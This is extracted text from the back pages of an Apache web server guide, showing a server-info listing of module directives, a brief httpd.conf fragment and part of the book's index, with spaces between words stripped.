CurrentConfiguration:
ModuleName:mod_mime.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs
RequestPhaseParticipation:CheckType
ModuleDirectives:
AddTypeamimetypefollowedbyoneormorefileextensions
AddEncodinganencoding(e.g.,gzip),followedbyoneormorefile
extensions
AddLanguagealanguage(e.g.,fr),followedbyoneormorefileextensions
AddHandlerahandlernamefollowedbyoneormorefileextensions
ForceTypeamediatype
SetHandlerahandlername
TypesConfigtheMIMEtypesconfigfile
CurrentConfiguration:
httpd.conf
<Location/status>
SetHandlerserverstatus
</Location>
<Location/info>
SetHandlerserverinfo
</Location>
ModuleName:mod_mime_magic.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:CheckType
ModuleDirectives:
MimeMagicFilePathtoMIMEMagicfile(infile(1)format)
CurrentConfiguration:
ModuleName:mod_log_config.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:Logging
ModuleDirectives:
CustomLogafilenameandacustomlogformatstringorformatname
TransferLogtheComponentoftheaccesslog
LogFormatalogformatstring(seedocs)andanoptionalformatname
CookieLogtheComponentofthecookielog
CurrentConfiguration:
httpd.conf
TransferLoglogs/access_log
ModuleName:mod_env.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:Fixups
ModuleDirectives:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page352
PassEnvalistofenvironmentvariablestopasstoCGI.
SetEnvanenvironmentvariablenameandavaluetopasstoCGI.
UnsetEnvalistofvariablestoremovefromtheCGIenvironment.
CurrentConfiguration:
ModuleName:http_core.c
Contenthandlers:*/*
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs,CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:TranslatePath,CheckAccess,CheckType
ModuleDirectives:
<DirectoryContainerfordirectivesaffectingresourceslocatedin
thespecifieddirectories
</Directory>Marksendof
<LocationContainerfordirectivesaffectingresourcesaccessedthrough
thespecifiedURLpaths
</Location>Marksendof
<VirtualHostContainertomapdirectivestoaparticularvirtualhost,
takesoneormorehostaddresses
</VirtualHost>Marksendof
<FilesContainerfordirectivesaffectingfilesmatchingspecified
patterns
</Files>Marksendof
<LimitContainerforauthenticationdirectiveswhenaccessedusing
specifiedHTTPmethods
</Limit>Marksendof
<IfModuleContainerfordirectivesbasedonexistenceofspecifiedmodules
</IfModule>Marksendof
<DirectoryMatchContainerfordirectivesaffectingresourceslocatedin
thespecifieddirectories
</DirectoryMatch>Marksendof
<LocationMatchContainerfordirectivesaffectingresourcesaccessed
throughthespecifiedURLpaths
</LocationMatcm>Marksendof
<FilesMatchContainerfordirectivesaffectingfilesmatchingspecified
patterns
</FilesMatch>Marksendof
AuthTypeAnHTTPauthorizationtype(e.g.,Basic)
AuthNameTheauthenticationrealm(e.g.MembersOnly)
RequireSelectswhichauthenticatedusersorgroupsmayaccessaprotected
space
Satisfyaccesspolicyifbothallowandrequireused(allorany)
AccessComponentName(s)ofperdirectoryconfigfiles(default:.htaccess)
DocumentRootRootdirectoryofthedocumenttree
ErrorDocumentChangeresponsesforHTTPerrors
AllowOverrideControlswhatgroupsofdirectivescanbeconfiguredby
perdirectoryconfigfiles
OptionsSetanumberofattributesforagivendirectory
DefaultTypethedefaultMIMEtypeforuntypablefiles
ServerTypeinetdorstandalone
PortATCPportnumber
HostnameLookupsontoenable,offtodisablereverseDNSlookups,or
doubletoenabledoublereverseDNSlookups
UserEffectiveuseridforthisserver
GroupEffectivegroupidforthisserver
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page353
ServerAdminTheemailaddressoftheserveradministrator
ServerNameThehostnameoftheserver
ServerSignatureEn/disableserversignature(on|off|email)
ServerRootCommondirectoryofserverrelatedfiles(logs,confs,etc)
ErrorLogTheComponentoftheerrorlog
PidFileAfileforloggingtheserverprocessID
ScoreBoardFileAfileforApachetomaintainruntimeprocessmanagement
information
LockFileThelockfileusedwhenApacheneedstolocktheaccept()call
AccessConfigTheComponentoftheaccessconfigfile
ResourceConfigTheComponentoftheresourceconfigfile
ServerAliasAnameornamesalternatelyusedtoaccesstheserver
ServerPathThepathnametheservercanbereachedat
TimeoutTimeoutduration(sec)
KeepAliveTimeoutKeepAlivetimeoutduration(sec)
MaxKeepAliveRequestsMaximumnumberofKeepAliverequestsperconnection,
or0forinfinite
KeepAliveWhetherpersistentconnectionsshouldbeOnorOff
IdentityCheckEnableidentd(RFC1413)userlookupsSLOW
ContentDigestwhetherornottosendaContentMD5headerwitheach
request
UseCanonicalNamewhetherornottoalwaysusethecanonicalServerName:
PortwhenconstructingURLs
StartServersNumberofchildprocesseslaunchedatserverstartup
MinSpareServersMinimumnumberofidlechildren,tohandlerequestspikes
MaxSpareServersMaximumnumberofidlechildren
MaxServersDeprecatedequivalenttoMaxSpareServers
ServersSafetyLimitDeprecatedequivalenttoMaxClients
MaxClientsMaximumnumberofchildrenaliveatthesametime
MaxRequestsPerChildMaximumnumberofrequestsaparticularchildserves
beforedying.
RLimitCPUsoft/hardlimitsformaxCPUusageinseconds
RLimitMEMsoft/hardlimitsformaxmemoryusageperprocess
RLimitNPROCsoft/hardlimitsformaxnumberofprocessesperuid
BindAddress*,anumericIPaddress,orthenameofahostwithaunique
IPaddress
ListenaportnumberoranumericIPaddressandaportnumber
SendBufferSizesendbuffersizeinbytes
AddModulethenameofamodule
ClearModuleList
ThreadsPerChildNumberofthreadsachildcreates
ExcessRequestsPerChildMaximumnumberofrequestsaparticularchild
servesafteritisreadytodie.
ListenBacklogmaximumlengthofthequeueofpendingconnections,asused
bylisten(2)
CoreDumpDirectoryThelocationofthedirectoryApachechangestobefore
dumpingcore
Includeconfigfiletobeincluded
LogLevelsetlevelofverbosityinerrorlogging
NameVirtualHostanumericipaddress:port,orthenameofahost
ServerTokensDeterminetokensdisplayedintheServer:headerMin(imal),
OSorFull
CurrentConfiguration:
httpd.conf
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page354
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.status/htdocs
Thisisallgood,reliableinformationbecauseitcomesfromrunningmodules.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page355
Index
#forcomments,16,19
?flag(httpd/apache),28
A
accesscontrol,114117,202
anonymousaccess,120124
checking,306310
configurationandrequestinformation,245
loggingaccesses,190
modulesfor,202
serverinformation,53
throttlingconnections,203
access.conffile,124
AccessComponentdirective,128
acquire_event(),259
acquire_semaphore(),258
ACTIONattribute(HTML),7779
Actiondirective,101
actions,CGIand,101103
AddAltdirective,146
AddAltByEncodingdirective,148
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AddAltByTypedirective,148
AddDescriptiondirective,146
AddEncodingdirective,133
AddHandlerdirective,82,100,187
typemaps,137
AddIcondirective,145
AddIconByEncodingdirective,148
AddIconByTypedirective,147
AddModuleInfodirective,186
addresses
email,forautomaticreplies,53
IP(seeIPaddresses)
loopback,34
web,9
AddTypedirective,133
addusercommand,31,113
alarms,273
aliascommand(Unix),38
Aliasdirective,159
aliasmodule,158162
aliases
CGIscripts,83,159
hosts,listing,54
AliasMatchdirective,160
Alloption(Options),68
allowdirective,114117,187
AllowOverridedirective,129131,300
alternatetextforbrowsers,146,148
anonymous
access,120124
keyexchange(SSL),340
Anonymousdirective,122
Anonymous_Authoritativedirective,122
Anonymous_LogEmaildirective,122
Anonymous_MustGiveEmaildirective,122
Anonymous_NoUserIDdirective,122
Anonymous_VerifyEmaildirective,122
Apache
directives(seedirectives,Apache)
historyof,x
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page356
Apache(continued)
modules(seemodules)
multiplecopies,6568
NCSAserverand,337
restarting,71
security(seesecurity)
technicalsupport,331
underWin32(seeWin32)
versionsof,x,13
ApacheAPI,240289
functionsof(list),246289
apachecommandflags,27
ApacheFTPdirectory,196
apachect1script,30
apache.exe,3,24
ApacheSSLpatch,223
ap_acquire_mutex(),258
ap_add_cgi_vars(),255
ap_add_common_vars(),256
ap_add_version_component(),278
ap_allow_options(),275
ap_allow_overrides(),276
ap_auth_name(),276
ap_auth_type(),276
ap_bclose(),283
ap_bcreate(),280
ap_bfileno(),281
ap_bflush(),283
ap_bgetc(),282
ap_bgetflag(),281
ap_bgets(),282
ap_blookc(),282
ap_bnonblock(),281
ap_bonerror(),281
ap_bprintf(),283
ap_bpushfd(),280
ap_bpushh(),280
ap_bputc(),282
ap_bputs(),283
ap_bread(),282
ap_bskiplf(),282
ap_bspawn_child(),255
ap_bvputs(),283
ap_bwrite(),282
ap_can_exec(),255
ap_cfg_closefile(),274
ap_cfg_getc(),274
ap_check_alarm(),273
ap_check_cmd_context(),274
ap_checkmask(),263
ap_child_terminate(),285
ap_clear_pool(),246
ap_clear_table(),250
ap_close_piped_log(),279
ap_create_mutex(),257
ap_default_port(),285
ap_default_port_for_scheme(),285
ap_default_type(),286
ap_destroy_mutex(),258
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ap_error_log2stderr(),278
ap_escape_html(),263
ap_find_last_token(),263
ap_fnmatch(),266
ap_get_basic_auth_pw(),286
ap_get_module_config(),286
ap_get_remote_host(),268
ap_get_remote_logname(),286
ap_get_server_built(),277
ap_get_server_name(),286
ap_get_server_port(),287
ap_get_server_version(),277
ap_http_method(),285
ap_ind(),264
ap_is_default_port(),285
ap_is_empty_table(),249
ap_is_fnmatch(),267
ap_is_initial_req(),287
ap_kill_cleanups_for_socket(),252
ap_log_error(),278
ap_log_reason(),279
ap_make_dirstr_parent(),265
ap_make_dirstr_prefix(),265
ap_matches_request_vhost(),287
ap_md5(),256
ap_md5contextTo64(),257
ap_md5digest(),257
ap_MD5Final(),257
ap_MD5Init(),257
ap_MD5Update(),257
ap_note_cleanups_for_file(),252
ap_note_cleanups_for_socket(),252
ap_open_mutex(),258
ap_open_piped_log(),279
ap_os_canonical_Component(),267
ap_os_dso_error(),287
ap_os_dso_load(),287
ap_os_dso_sym(),287
ap_os_dso_unload(),287
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page357
ap_os_is_path_absolute(),254
ap_overlay_tables(),250
ap_parse_hostinfo_components(),284
ap_parse_uri_components(),284
ap_pcfg_open_custom(),273
ap_pcfg_openfile(),273
ap_pclosedir(),288
ap_pclosesocket(),253
ap_pduphostent(),285
ap_pgethostbyname(),285
ap_piped_log_write_fd(),279
ap_popendir(),288
ap_pregfree(),254
ap_pregsub(),253
ap_psignature(),288
ap_psocket(),253
ap_psprintf(),264
ap_pvsprintf(),264
ap_release_mutex(),258
ap_requires(),277
ap_rflush(),270
ap_rind(),264
ap_rwrite(),269
ap_satisfies(),277
ap_scan_script_header(),256
ap_scan_script_header_err(),256
ap_scan_script_header_err_buff(),256
ap_send_fb(),268
ap_send_fb_length(),269
ap_send_mmap(),269
ap_send_size(),271
ap_server_root_relative(),267
ap_set_file_slot(),275
ap_set_flag_slot(),275
ap_set_string_slot(),275
ap_set_string_slot_lower(),275
ap_str_tolower(),264
ap_table_do(),250
ap_unparse_uri_components(),284
ap_vbprintf(),283
ap_vformatter(),288
APIforApache,240289
functionsof(list),246289
append_arrays(),248
array_cat(),247
arrays,APIfunctionsfor,247
AS/400,25
asymmetrickeyencryption,209
AuthDBMGroupFiledirective,114
AuthDBMUserFiledirective,112,114
AuthDBUserFiledirective,112
authentication,2,104131
anonymousaccess,120124
checking,309
controllingaccess,114117
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
digestauthentication,105,118120
directivesfor,106108
formsand,110114
.htaccessfile(see.htaccessfile)
modulesfor,201
SSLprotocoland,339342
userinformation,124126
AuthGroupFiledirective,106
AuthNamedirective,106
AuthTypedirective,106,118
AuthUserFiledirective,107
await_thread(),260
B
baseURL,rewriting,165
bastionhosts,215217
BelSignNV/SA,231
binaryreleasesofApache,22
binarysignatures,209214
BindAddressdirective,65
block_alarms(),273
blockdirectives,4952
blockingaccess(seeaccesscontrol)
BrowserMatchdirective,92
BrowserMatchNoCasedirective,92
browsers,91
cookies,124
HTTP/1.1and,140
iconsand,146
imagemaps,153
languagesand,136
BS2000/OSD,25
buffers
APIfunctionsfor,279283
fixedlength,329
bugs,3,56
bytes_in_free_blocks(),246
bytes_in_pool(),246
C
Cflag(httpd/apache),27
cflag(httpd/apache),27
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page358
CacheDefaultExpiredirective,174
CacheDirLengthdirective,174
CacheGcIntervaldirective,174
CacheGcIntervaldirective,174
CacheLastModifiedFactordirective,174
CacheMaxExpiredirective,174
CacheNegotiatedDocsdirective,175
CacheRootdirective,173
CacheSizedirective,174
cachingdata,173178
configuring,175178
SSLglobalsessioncache,227
call_exec(),255
''CanonlygeneratePEMoutputfromPEMinput"error,231
can_exec(),267
"cannotdeterminelocalhostname",33
carriagereturnsandlinefeeds(CRLF),10
CAs(certificateauthorities),212214
CDROMwiththisbook,xii
CERNmetafiles,72
certificates,212214
exportingtoCGIs,239
testing,225227
CertiSignCertificadoraDigitalLtda.,231
cfg_getline(),274
cgibindirectory,4,81
CGI::Carpmodule,89
CGI(CommonGatewayInterface),4,79103
actionsand,101103
Aliasdirectiveand,158
Apachedirectivesfor,8385
Apachehandlersfor,100101
APIfunctionsfor,254256
debuggingscripts,8990
environmentvariables,9093
executingscriptsasincludes,180,183185
headers,80
modulestoimproveperformance,202
outputtoshells,208
scriptlocation,8182
SSLand,238
suEXECwrapper(Unix),9399
usefulscripts,8588
cgioption(execcommand),180,184
cgiscripthandler,100
chdir_file(),265
CheckSpellingdirective,169,203
child_exit(),315
childexits,315
childinitialization,302
childservers,limitson,59
chmodcommand,37
ciphersuites,236238
circularimagemaphotspots,156
classesofnetworks,6
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
cleanup_for_exec(),251
cleanups,APIfunctionsfor,250252
clear_pool(),246
clients,911
close_unused_listeners(),241
cmdoption(execcommand),181,184
cmd_howstructure,297
cmd_parmsstructure,298
commandtable,297300
command_recstructure,297
commentsinConfigurationfile,16,19
compilingApache
underUnix(making),21
underWin32,24
conditionalURLrewriting,165
confdirectory,3,26
specifyinglocationof,55
configcommand,180
configtestflag(apachect1),30
configurationfile,Apache,15
anonymousaccess,120
digestauthentication,119
httpd.conf,32
inetdutility,12
logging,189
overrides,130
rewritingexample,167
SSL,227229
typemaps,137
virtualhosting,6164
configurationfiles,server,28
configuring
APIfunctionsfor,273277
informationon,188,245
modules,241245,293297
proxyservers,175178
settingsandrules,1920
SSLforApache,222225
Unixserver,2938
Win32server,3942
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page359
CONNECTmethod(HTTP),77
construct_server(),265
construct_url(),265
contentnegotiation,134135
Contentencodingheader,139
Contentlanguageheader,139
Contentlengthheader,139
Contenttypedirective,139
ContentTypeheader,8081
controllingaccess(seeaccesscontrol)
CookieExpiresdirective,126
CookieLogdirective,125
cookies,124
CookieTrackingdirective,125
copy_array(),248
copy_array_hdr(),248
copy_listeners(),241
copy_table(),248
CoreDumpDirectorydirective,56
"couldn'tdetermineusername"error,31
"couldn'tdetermineusername"error,30
count_dirs(),265
countermodules,202
CPU,limitingforCGIscripts,84
create_event(),259
create_semaphore(),258
create_thread(),259
CRLF(carriagereturnsandlinefeeds),10
cryptography(seeencryption)
CustomLogdirective,192,236
D
dflag(httpd/apache),2627,55
data,protecting,343
db_auth_module,18
DBMfiles,164
dbm_auth_module,18
dbmmanagescript,112
debuggingCGIscripts,8990
decryption(seeencryption)
DefaultIcondirective,147
DefaultTypedirective,133
DELETEmethod(HTTP),76
deleting
mutexes,258
pools,246
semaphores,258
suEXECsecurityagainst,99
threads,259
demonstrationwebsites,xii
denydirective,114117
destroy_event(),259
destroy_pool(),246
destroy_semaphore(),258
destroy_sub_req(),272
diagnosticinformation,186188
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
DiffieHellmankeyexchange,341
digestauthentication,105,118120
digitalsignatures,209214
directives,Apache,xiv,58
actionswithCGI,101103
anonymousaccess,122124
authentication,106108
browsers,91
caching,173175
CGIscripts,8385
ciphersuites,238
controllingvirtualhosts,5861
environmentvariables,9093
expiration,73
handlers,100101
housekeeping,5258
HTTPresponseheaders,6871
indexing,142152
limitingapplicationof,4952,107
logging,188192
metafiles,72
multipleApachecopies,6568
overriding,129131
proxyservers,170172
redirection,158162
rewritingURLs,163167
SSL,233236
userinformation,124126
directories
controllingaccessto,115
executepermissionfor,36
homedirectory,160
indexesof(seeindexing)
limitingdirectivesto,50
perdirectoryconfiguration,242,294,296
website,3
<Directory>directive,50
DirectoryIndexdirective,149152
typemaps,137
distributionsdirectory(onCDROM),xii
DMBfiles,112114
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page360
DNS,reverselookup,57
documentation
AddDescriptiondirective,146
headers,148
technicalsupport,331
DocumentRootdirective,34
CGIscripts,82
DOSwindowforApache,39
downgrade1.0variable,93
DSO(DynamicSharedObjects),204
E
echocommand,180,185
@echooffcommand,80
echoprogram,333336
echo2.cprogram,334
echo.cprogram(example),8688
emailaddressforautomaticreplies,53
encoding,148
encoding(MIME),132134
checkingtypes,310312
indexingbytype,147
mod_mime_magicmodule,204
encryption,209212
ciphersuites,236238
digestauthentication,105,118120
legalissues,219
protectingapplicationdata,343
(seealsoauthentication)
envutility,85
environmentvariables,9093
accesscontrol,115
browsersand,91
printing,85,180,185
errormessages,2
ErrorDocumentdirective,45
ErrorLogdirective,190
errors
HTTPcodesfor,194,292293
logging,190
ServerAdmindirective,53
errors(seetroubleshooting)
escape_html(),266
escape_path_segment(),265
escape_shell_cmd(),263
/etc/hostsfile,38
/etc/inetd.conffile,12,67
events,259
execcommand,180,183,214
ExecCGIoption(Options),6970,79
executepermission,35
exit_thread(),260
ExpiresActivedirective,73
ExpiresByTypedirective,73
ExpiresDefaultdirective,74
expiring,73
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
cacheddocuments,174
cookies,126
defaulttime,74
SSLsessionkeys,234
timeoutfunctions,272
waitingforrequests,57
exportingcertificatestoCGIs,239
extensions,Component,100
imagenegotiation,135
typemaps,138140
externalusers,206208
F
fflag(httpd/apache),27,55
FancyIndexingdirective,144
FancyIndexingoption(IndexOptions),142
filepermissions,3537
suEXECutility,96
Componentextensions
imagenegotiation,135
typemaps,138140
files
APIfunctionsfor,252253
CGIscriptlocation,8182
DBMfiles,112114
ComponentAPIfunctions,264267
Componentextensions,100
includinginother,183
indexing,141157
limitingdirectivesto,51
limitsonchildprocesses,60
logs(seelogging)
redirection,158169
size,181182
.varfiles(seetypemaps)
<Files>directive,51
<FilesMatch>directive,51
filters(packetfiltering),214
find_token(),262
fingerutility,214
firewalls,214217
fixedlengthbuffers,329
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page361
fixingmodulesbeforerunning,312313
flastmodcommand,181,183
FollowSymLinksoption(Options),69,71
FollowSymLinksIfOwnerMatchoption
(Options),71
forceresponse1.0variable,93
ForceTypedirective,134
<FORM>tags(HTML),7779
formatoflogfiles,191192
formattedmenus,157
forms,7779
authenticationwith,110114
echo.cprogram(example),8688
Fortezzaencryptionkeys,341
FQDNs(fullyqualifieddomainnames),38
FreeBSDUnix,12
lan_setupscript,177
free_thread(),260
freeware,4
Frontpageextensions(Microsoft),202
fsizecommand,181182
FTPdirectoryforApache,196
fullstatusflag(apachect1),30
functions,API(list),246289
G
gcache,227
GETmethod(HTTP),76
get_client_block(),271
get_gmtoff(),260
get_local_host(),268
get_module_config(),298
get_time(),260
get_token(),262
get_virthost_addr(),267
getparents(),264
getword(),261
getword_conf(),262
getword_nulls(),262
getword_white(),262
globalsessioncache(SSL),227
gm_timestr_822(),260
gname2id(),267
goscript(example),29,40
gracefulflag(apachect1),30
groupauthentication,120
Groupdirective,32
groups
ASIfunctionsfor,267
creating,31
permissions(seepermissions)
H
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
hflag(httpd/apache),27
handler_recstructure,313
handlers,291,313
handlers,Apache,100101
handshakeprotocol(SSL),339343
attacksand,342
hard_timeout(),272
HEADmethod(HTTP),76
HeaderNamedirective,68,148
headers
CGI,80
HTTPresponse,6871
parsing,306
help,331helpflag(apachect1),30
historyofApache,x
HostNameLookupsdirective,57
hostnames
"cannotdeterminelocalhostname",33
controllingaccess,114117
mappingseveraltooneaddress,54
providing(seeServerNamedirectory)
reverseDNSlookup,57
hosts,1
hostnumbers,6
hostnames,9
nonrouting(bastion),215217
virtual(seevirtualhosts)
hostsfile,38
hotspots(seeimagemaps)
.htaccessfile,72,126129,152
htdigestutility,120
htdocsdirectory,4,26
HTML(HypertextMarkupLanguage),47
forms,7779,110114
imagemaps,154157
htpasswdutility,108
ht_time(),260
HTTP(HypertextTransferProtocol),1,75
methods,1,76,107
responseheaders,6871
statuscodes,194,292293
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page362
HTTP(continued)
usingVersion1.0,93
Version1.1andbrowsers,140
HTTP_ACCEPTvariable,135
HTTP_ACCEPT_LANGUAGEvariable,137
httpd,3,23
flags,27
restarting,71
virtual(seevirtualhosts)
httpd.conffile,includingusers/groups,32
I
iflag(apache),28
IBM'sAS400,25
IconHeightoption(IndexOptions),142
iconsinindexes,145148
IconsAreLinksoption(IndexOptions),142
IconWidthoption(IndexOptions),142
IDEA(InternationalDataEncryptionAlgorithm),212
identddaemon,querying,124
IdentityCheckdirective,124
ifconfigutility,8
<IfDefine>directive,52
<IfModule>directive,18,52
ignoringfilesinindex,144
IKSGmbH,231
imagenegotiation,135
imagemaps,152157
imapfilehandler,100
ImapBasedirective,153
ImapDefaultdirective,154
ImapMenudirective,157
includecommand,181,183
Includedirective,58
Includesoption(Options),180
includes(seeserversideincludes)
IncludesNoExecoption(Options),69
Indexesoption(Options),69
index.htmlfile,48
IndexIgnoredirective,144
indexing,141157
iconswith,145148
imagemaps,152157
IndexOptionsdirective,142144
inetdutility,12,67
inetd.conffile,12
infomodule,186
information,obtaining,186195
CGIscripts,logging,83
configurationandrequests,188,245
functionsfor,275277
statusrequests,188
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
perrequest,243245
servers,187188
controllingaccessto,53
functionsfor,277
status(diagnostics),186188
onusers,124126
initializer,300
installdirectory(onCDROM),xii
installing
ApacheunderUnix,23
suEXECutility,94
interfaces,7
internalusers,206208
internal_redirect(),272
internal_redirect_handler(),272
InternationalDataEncryptionAlgorithm(IDEA),212
internationalization,135137,203
InternetExplorer,configuringforproxyserver,176
"InvalidcommandAnonymous"error,120
I/O(input/output)
APIfunctionsfor,267271
bufferingfunctions,279283
IPaddresses,5,7
bindingtospecific,65
controllingaccess,114117
IPbasedvirtualhosts,6264
loopback,34
mappingseveralhostnamesto,54
restrictingattentionto,66
IRIXNISrule,20
isapiisahander,100
is_directory(),266
ISMAPattribute(<IMG>),155
is_matchexp(),261
is_url(),266
K
kflag(apache),28,41,71
KeepAlivedirective,56,93
KeepAliveTimeoutdirective,57
keepalive_timeout(),272
keyescrowsystem,221
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page363
keyexchange,339342
keys,encryption(seeencryption)
killcommand,71
killutility,29,35
kill_cleanup(),251
kill_cleanups_for_fd(),251
kill_thread(),259
kill_timeout(),273
Kosut,Alexei,337
L
1flag(httpd/apache),28
languagenegotiation,135137
modulesfor,203
LanguagePriorityproperty,136
lan_setupscript,177
legalissues,217221
levelnumbers,139
license,Apache,xi
<Limit>directive,107
Listendirective,64,66
ListenBacklogdirective,66
Incommand,47,70
localnetworks,37
<Location>directive,51
Locationheader,81,86
<LocationMatch>directive,51
LockFiledirective,56
LogFormatdirective,191192
logging,188195
APIfunctionsfor,278
CGIscriptinformation,83
cookies,125example,193195
formatoflogfiles,191192
logsdirectory,4
modulefor,314
sampleApachelog,345354
SSLactivity,236
URLsubstitutions,163
logsdirectory,26
specifyinglocationof,55
loopbackaddresses,34
M
MACalgorithm,342343
MailExchange(MX)records,216
make_array(),247
make_dirstr(),264
Makefilefile,15
make_full_path(),266
make_sub_pool(),246
make_table(),248
MaxClientsdirective,58
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
MaxRequestsPerChilddirective,59MaxSpareServersdirective,59
MD5digestauthentication,118120
MD5functions,256
memory
limitingforCGIscripts,84
pools,246
menusforimagemaps,157
merge_env_server_configs(),295
mergers,295297
messages,error(seeerrormessages)
MetaDirdirective,72
metafiles(CERN),72
Metafilesdirective,72
MetaSuffixdirective,72
<METHOD>tag(HTML),7779
methods,HTTP,1,76,107
MicrosoftFrontpageextensions,202
MicrosoftInternetExplorer,configuringforproxyserver,176
MIMEtypes,132134,139
checking,310312
indexingby,147
mod_mime_magicmodule,204
MinSpareServersdirective,59
mod_accessmodule,306
mod_aliasmodule,158162
mod_auth_anonmodule,120
mod_expiresmodule,73
modificationtime/date
cache,174
expirationsand,73
flastmodcommandfor,181,183
mod_infomodule,186
mod_log_agentmodule,314
mod_mime_magicmodule,204
mod_revealmodule(example),316329
mod_rewritemodule,162169,203
mod_simultaneousmodule,203
mod_so,204
mod_spelingmodule,169,203
mod_statusmodule,314
module_check_access(),306310
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page364
module_check_auth(),309
module_check_user_id(),308310
module_child_init(),302
module_create_dir_config(),294
module_create_svr_config(),293
module_dir_merge(),296
module_fixups(),312313
module_header_parser(),306
module_init(),300
module_logger(),314
module_post_read_request(),303
modules,4,16
accesscontrol,202
authentication,201
CGIperformance,202
configuring,241245,293297
counters,202
exampleof,316329
languagesandinternationalization,203
listofotheravailable,196201
serversideincludes,203
structureof,290,293316
writing,290329
modulesdirectory,196
module_translate(),304
module_type_checker(),310312
multiplecopiesofApache,6568
multitasking,2
multithreading,329
APIfunctionsfor,257260
multiviews,134135
MultiViewsoption(Options),69,134135
mutexes,257
MXrecords,216
N
namebasedvirtualhosts,61,63
names
FQDNs,38
hostnames,9
translatingURLsto,304
NameVirtualHostdirective,6162
NameWidthoption(IndexOptions),143
nationalsecurity,219
NCSAserver,337
netmaskcommand,38
Netscape,45
configuringforproxyserver,175
cookies,124
echo.cprogram(example),8688
keepalivebug,56
languagesand,136
networks
classesof,6
local,37
numbersfor,6,38
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
physicallyseparate,215217
no2slash(),264
NoCachedirective,175
nokeepalivevariable,93
nonce,118
nonroutinghosts,215217
NoProxydirective,172
note_cleanups_for_fd(),251
note_cleanups_for_file(),253
